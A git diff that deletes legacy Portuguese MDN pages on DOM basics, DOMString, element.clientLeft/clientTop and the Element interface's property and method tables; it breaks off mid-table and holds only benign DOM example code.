-<pre class="brush: js"><span class="highlightgreen">// document.getElementsByTagName("H1") retorna um NodeList dos elementos H1
-// no documento, e o primeiro é o número 0:</span>
-var header = document.getElementsByTagName("H1").item(0);
-
-// o firstChild do cabeçalho é um Text node, e a propriedade data
-// do text node contém seu texto:
-header.firstChild.data = "A dynamic document";
-// agora o cabeçalho é "A dynamic document".
-
-// Recupera o primeiro elemento P no documento do mesmo modo:
-var para = document.getElementsByTagName("P").item(0);
-// e altera seu texto também:
-para.firstChild.data = "This is the first paragraph.";
-
-// cria um novo Text node para o segundo parágrafo
-var newText = document.createTextNode("This is the second paragraph.");
-// cria um novo Element para ser o segundo parágrafo
-var newElement = document.createElement("P");
-// insere o texto no segundo parágrafo
-newElement.appendChild(newText);
-// e coloca o parágrafo no final do documento acrescentando-o ao
-// BODY (que é o pai de para)
-para.parentNode.appendChild(newElement);
-</pre>
-
-<p>Você pode ver esse script como <a class="internal" href="/@api/deki/files/2866/=example.html" title="/@api/deki/files/2866/=example.html">um exemplo completo</a>.</p>
-
-<h3 id="How_can_I_learn_more.3F" name="How_can_I_learn_more.3F">Como posso aprender mais?</h3>
-
-<p>Agora que você está familiarizado com os conceitos básicos do DOM há um documento explicando os <a href="/en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces" title="en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces">métodos fundamentais do DOM Nível 1</a>. Ele é o acompanhamento desse documento.</p>
-
-<p>Veja também a <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html">especificação do Núcleo DOM Nível 1</a> do W3C. É uma especificação razoavelmente clara, apesar de sua formalidade. A principal utilidade para os autores é a descrição dos diferentes tipos de objetos DOM e todas as suas propriedades e métodos. Veja também nossa <a href="/en/DOM" title="en/DOM">outra documentação DOM</a>.</p>
-
-<div class="originaldocinfo">
-<p><strong>Original Document Information</strong></p>
-
-<ul>
- <li>Author(s): L. David Baron &lt;dbaron at dbaron dot org&gt;</li>
- <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
-</ul>
-</div>
diff --git a/files/pt-pt/web/api/domstring/index.html b/files/pt-pt/web/api/domstring/index.html
deleted file mode 100644
index abd4b8962e..0000000000
--- a/files/pt-pt/web/api/domstring/index.html
+++ /dev/null
@@ -1,43 +0,0 @@
----
-title: DOMString
-slug: Web/API/DOMString
-tags:
- - API
- - DOM
- - Referencia
- - String
-translation_of: Web/API/DOMString
----
-<div>{{APIRef("DOM")}}</div>
-
-<p><strong><code>DOMString</code></strong> é uma <em>string</em> codificada em UTF-16. Como a JavaScript já usa <em>strings</em> deste tipo, <code>DOMString</code> é mapeado diretamente a uma {{jsxref("String")}}.</p>
-
-<p>Passar {{jsxref("null")}} a um método ou parametro que aceita uma <code>DOMString</code> tipicamente é convertido para uma <em>string</em> com o valor <code>"null"</code>.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
- <td>{{Spec2('WebIDL')}}</td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>JavaScript {{jsxref("String")}}</li>
- <li>{{domxref("USVString")}}</li>
- <li>{{domxref("CSSOMString")}}</li>
- <li><a href="/pt-PT/docs/Web/API/DOMString/Binary">Strings binários</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/element/clientleft/index.html b/files/pt-pt/web/api/element/clientleft/index.html
deleted file mode 100644
index 2fa24484b0..0000000000
--- a/files/pt-pt/web/api/element/clientleft/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: element.clientLeft
-slug: Web/API/Element/clientLeft
-tags:
- - PrecisaDeRevisãoEditorial
- - Referência_do_DOM_Gecko
-translation_of: Web/API/Element/clientLeft
-original_slug: DOM/element.clientLeft
----
-<p>{{ ApiRef() }} <span class="comment">Faltam duas imagens no documento</span></p>
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-<p>A largura da borda esquerda de um elemento em pixels inclui a largura da barra de rolagem vertical se a direção do texto do elemento estiver da direita para a esquerda e se houver um excesso causando uma barra de rolagem vertical na esquerda para ser renderizada. <code>clientLeft</code> não inclui a margem ou o enchimento esquerdo. <code>clientLeft</code> é somente leitura.</p>
-<p>Aplicações baseadas em <a href="pt/Gecko">Gecko</a> suportam <code>clientLeft</code> començando com o Gecko 1.9 (<a href="pt/Firefox_3_para_desenvolvedores">Firefox 3</a>, implementado em {{ Bug(111207) }}). Esta propriedade não é suportada pelo Firefox 2 e mais antigos.</p>
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-<pre class="eval">var <var>left</var> = <var>element</var>.clientLeft;
-</pre>
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
- <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
- <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
- <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
- <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
- <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
- <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
- </div>
- <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -24px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
-<p style="margin-top: 270px;"><img alt="Image:clientLeft.png"></p>
-<p><img alt="Vertical scrollbar position when layout.scrollbar.side property is set to 1 or to 3"></p>
-<p>Quando a <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side">propriedade
- <i>
- layout.scrollbar.side</i>
- </a> é configurada para 1 ou para 3 e quando a direção do texto é configurada da direita para a esquerda, <b>então a barra de rolagem vertical é posicionada na esquerda</b> e isto impacta na maneira como o <code>clientLeft</code> é computado.</p>
-<h3 id="Especifica.C3.A7.C3.A3o" name="Especifica.C3.A7.C3.A3o">Especificação</h3>
-<p>Não é parte de qualquer especificação W3C.</p>
-<h3 id="Notas" name="Notas">Notas</h3>
-<p><code>clientLeft</code> foi primeiramente introduzido no objeto modelo DHTML do MS IE.</p>
-<p>A posição da barra de rolagem vertical na direção do texto, direita para a esquerda, configura que o elemento dependerá da <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side">preferência
- <i>
- layout.scrollbar.side</i>
- </a></p>
-<h3 id="Refer.C3.AAncias" name="Refer.C3.AAncias">Referências</h3>
-<ul>
- <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientleft.asp?frame=true">MSDN's clientLeft definition</a></li>
- <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li>
-</ul>
-<p><span class="comment">Categorias</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p>{{ languages( { "en": "en/DOM/element.clientLeft", "ja": "ja/DOM/element.clientLeft", "pl": "pl/DOM/element.clientLeft" } ) }}</p>
diff --git a/files/pt-pt/web/api/element/clienttop/index.html b/files/pt-pt/web/api/element/clienttop/index.html
deleted file mode 100644
index 9212f32bdd..0000000000
--- a/files/pt-pt/web/api/element/clienttop/index.html
+++ /dev/null
@@ -1,39 +0,0 @@
----
-title: element.clientTop
-slug: Web/API/Element/clientTop
-tags:
- - PrecisaDeRevisãoEditorial
- - Referência_do_DOM_Gecko
-translation_of: Web/API/Element/clientTop
-original_slug: DOM/element.clientTop
----
-<p>{{ ApiRef() }} <span class="comment">Falta uma imagem no documento</span></p>
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-<p>A largura da borda superior de um elemento em pixels não inclui a margem superior ou o enchimento. <code>clientTop</code> é somente leitura.</p>
-<p>Aplicações baseadas em <a href="pt/Gecko">Gecko</a> suportam <code>clientTop</code> começando com Gecko 1.9 (<a href="pt/Firefox_3_para_desenvolvedores">Firefox 3</a>, implementou em {{ Bug(111207) }}). Esta propriedade não é suportada no Firefox 2 e mais antigos.</p>
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-<pre class="eval">var<i>top</i> = <var>element</var>.clientTop;
-</pre>
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
- <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
- <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
- <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
- <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
- <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
- <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
- </div>
- <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -24px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
-<p style="margin-top: 270px;"><img alt="Image:clientTop.png"></p>
-<h3 id="Especifica.C3.A7.C3.A3o" name="Especifica.C3.A7.C3.A3o">Especificação</h3>
-<p>Não é parte de nenhuma especificação W3C.</p>
-<h3 id="Notas" name="Notas">Notas</h3>
-<p><code>clientTop</code> foi primeiramente introduzido no objeto modelo DHTML do MS IE.</p>
-<h3 id="Refer.C3.AAncias" name="Refer.C3.AAncias">Referências</h3>
-<ul>
- <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clienttop.asp?frame=true">MSDN's clientTop definition</a></li>
- <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li>
-</ul>
-<p><span class="comment">Categorias</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p>{{ languages( { "en": "en/DOM/element.clientTop", "pl": "pl/DOM/element.clientTop" } ) }}</p>
diff --git a/files/pt-pt/web/api/element/index.html b/files/pt-pt/web/api/element/index.html
deleted file mode 100644
index abad0b55c4..0000000000
--- a/files/pt-pt/web/api/element/index.html
+++ /dev/null
@@ -1,574 +0,0 @@
----
-title: element
-slug: Web/API/Element
-tags:
- - API
- - API da Web
- - DOM
- - Element
- - Elemento
- - Interface
- - Referencia
- - Referência DOM
-translation_of: Web/API/Element
-original_slug: DOM/element
----
-<div>{{APIRef("DOM")}}</div>
-
-<p><span class="seoSummary"><strong><code>Element</code></strong> </span>é a classe base mais geral da qual todos os objetos em um <span class="seoSummary">{{DOMxRef("Document","documento")}} herdam. Este só tem métodos e propriedades comuns para todos os tipos de elementos. </span>Classes mais específicas herdam de<span class="seoSummary"> <code>Element</code>.</span> Por exemplo, a interface {{DOMxRef("HTMLElement")}} é a interface base para os elementos HTML, enquanto a interface {{DOMxRef("SVGElement")}} é a base para todos os elementos SVG. A maioria das funcionalidades é especificada mais abaixo na hierarquia de classes.</p>
-
-<p>Linguagens fora do âmbito da plataforma Web, como XUL através da interface <code>XULElement</code>, também implementa <code>Element</code>.</p>
-
-<p>{{InheritanceDiagram}}</p>
-
-<h2 id="Propriedades" name="Propriedades">Propriedades</h2>
-
-<p><em>Inherits properties from its parent interface, {{DOMxRef("Node")}}, and by extension that interface's parent, {{DOMxRef("EventTarget")}}. It implements the properties of {{DOMxRef("ParentNode")}}, {{DOMxRef("ChildNode")}}, {{DOMxRef("NonDocumentTypeChildNode")}}, </em>and {{DOMxRef("Animatable")}}.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th>Nome</th>
- <th>Descrição</th>
- <th>Tipo</th>
- <th>Dosponibilidade</th>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.attributes">attibutes</a></code></td>
- <td>Todos os atributos associados ao elemento</td>
- <td><code><a href="pt/DOM/NamedNodeMap">NamedNodeMap</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.childNodes">childNodes</a></code></td>
- <td>Todos os nós-filhos de um elemento.</td>
- <td><code><a href="pt/DOM/NodeList">NodeList</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.className">className</a></code></td>
- <td>Retorna ou define a classe do elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/HTML">HTML</a>, <a href="pt/XUL">XUL</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.clientHeight">clientHeight</a></code></td>
- <td>A altura interna de um elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.clientLeft">clientLeft</a></code></td>
- <td>A largura da borda esquerda de um elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.clientTop">clientTop</a></code></td>
- <td>A largura da borda superior de um elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.clientWidth">clientWidth</a></code></td>
- <td>A largura interna de um elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.dir">dir</a></code></td>
- <td>Retorna ou define a direcionalidade do elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/HTML">HTML</a>, <a href="pt/XUL">XUL</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.firstChild">firstChild</a></code></td>
- <td>O primeiro nó-filho direto de um elemento, ou <code>null</code> se o elemento não tem nós-filhos.</td>
- <td><code><a href="pt/DOM/Node">Node</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.id">id</a></code></td>
- <td>Retorna ou define o id do elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/HTML">HTML</a>, <a href="pt/XUL">XUL</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.innerHTML">innerHTML</a></code></td>
- <td>Retorna ou define a marcação e o conteúdo de um elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.lang">lang</a></code></td>
- <td>Retorna ou define o atributo linguagem de um elemento, texto, e conteúdo do elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.lastChild">lastChild</a></code></td>
- <td>O último nó-filho direto de um elemento, ou <code>null</code> se o elemento não tem nós-filhos.</td>
- <td><code><a href="pt/DOM/Node">Node</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.localName">localName</a></code></td>
- <td>A parte local de um nome qualificado de um elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <th>Nome</th>
- <th>Descrição</th>
- <th>Tipo</th>
- <th>Disponibilidade</th>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.name">name</a></code></td>
- <td>Retorna/define o atributo name de um elemento.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.namespaceURI">namespaceURI</a></code></td>
- <td>A URI de namespace do nó, ou <code>null</code> se não está especificado.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.nextSibling">nextSibling</a></code></td>
- <td>O nó imediatamente seguinte ao dado numa árvore, ou <code>null</code> se não existe nó-irmão.</td>
- <td><code><a href="pt/DOM/Node">Node</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.nodeName">nodeName</a></code></td>
- <td>O nome do nó.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.nodeType">nodeType</a></code></td>
- <td>Um número representando o tipo do nó. É sempre igual a <code>1</code> para elementos DOM.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.nodeValue">nodeValue</a></code></td>
- <td>O valor do nó. É sempre igual a <code>null</code> para elementos DOM.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.offsetHeight">offsetHeight</a></code></td>
- <td>A altura de um elemento, em relação ao layout.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.offsetLeft">offsetLeft</a></code></td>
- <td>A distância da borda esquerda do elemento para o a borda esquerda do seu <code>offsetParent</code>.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.offsetParent">offsetParent</a></code></td>
- <td>O elemento para o qual todos cálculos de offset estão atualmente computados.</td>
- <td><code><a href="pt/DOM/element">Element</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.offsetTop">offsetTop</a></code></td>
- <td>A distância da borda superior do elemento para o a borda superior do seu <code>offsetParent</code>.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.offsetWidth">offsetWidth</a></code></td>
- <td>A largura de um elemento, em relação ao layout.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.ownerDocument">ownerDocument</a></code></td>
- <td>O documento no qual o nó está, ou <code>null</code> se o nó não está dentro de nenhum.</td>
- <td><code><a href="pt/DOM/document">Document</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <th>Nome</th>
- <th>Descrição</th>
- <th>Tipo</th>
- <th>Disponibilidade</th>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.parentNode">parentNode</a></code></td>
- <td>The parent element of this node, or <code>null</code> if the node is not inside of a <a href="pt/DOM/document">DOM Document</a>.</td>
- <td><code><a href="pt/DOM/Node">Node</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.prefix">prefix</a></code></td>
- <td>The namespace prefix of the node, or <code>null</code> if no prefix is specified.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.previousSibling">previousSibling</a></code></td>
- <td>The node immediately preceding the given one in the tree, or <code>null</code> if there is no sibling node.</td>
- <td><code><a href="pt/DOM/Node">Node</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.scrollHeight">scrollHeight</a></code></td>
- <td>The scroll view height of an element.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.scrollLeft">scrollLeft</a></code></td>
- <td>Gets/sets the left scroll offset of an element.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.scrollTop">scrollTop</a></code></td>
- <td>Gets/sets the top scroll offset of an element.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.scrollWidth">scrollWidth</a></code></td>
- <td>The scroll view width of an element.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.style">style</a></code></td>
- <td>An object representing the declarations of an element's style attributes.</td>
- <td><code><a href="pt/DOM/CSSStyleDeclaration">CSSStyle</a></code></td>
- <td><small><a href="pt/HTML">HTML</a>, <a href="pt/XUL">XUL</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.tabIndex">tabIndex</a></code></td>
- <td>Gets/sets the position of the element in the tabbing order.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Number">Number</a></code></td>
- <td><small><a href="pt/HTML">HTML</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.tagName">tagName</a></code></td>
- <td>The name of the tag for the given element.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.textContent">textContent</a></code></td>
- <td>Gets/sets the textual contents of an element and all its descendants.</td>
- <td><code><a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a></code></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Methods" name="Methods">Métodos</h3>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th>Nome &amp; Descrição</th>
- <th>Retorna</th>
- <th>Disponibilidade</th>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.addEventListener">addEventListener</a>( <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/String">type</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Function">listener</a>, <a href="pt/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">useCapture</a> )</code><br>
- Register an event handler to a specific event type on the element.</td>
- <td>-</td>
- <td><small><a href="pt/DOM/event">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.appendChild">appendChild</a>( <a href="pt/DOM/Node">appendedNode</a> )</code><br>
- Insert a node as the last child node of this element.</td>
- <td><a href="pt/DOM/Node">Node</a></td>
- <td><small><a href="pt/DOM">All</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.blur">blur</a>()</code><br>
- Removes keyboard focus from the current element.</td>
- <td>-</td>
- <td><small><a href="pt/HTML">HTML</a>, <a href="pt/XUL">XUL</a></small></td>
- </tr>
- <tr>
- <td><code><a href="pt/DOM/element.click">click</a>()</code><br>
- Simulates a click on the current element.</td>
- <td>-</td>
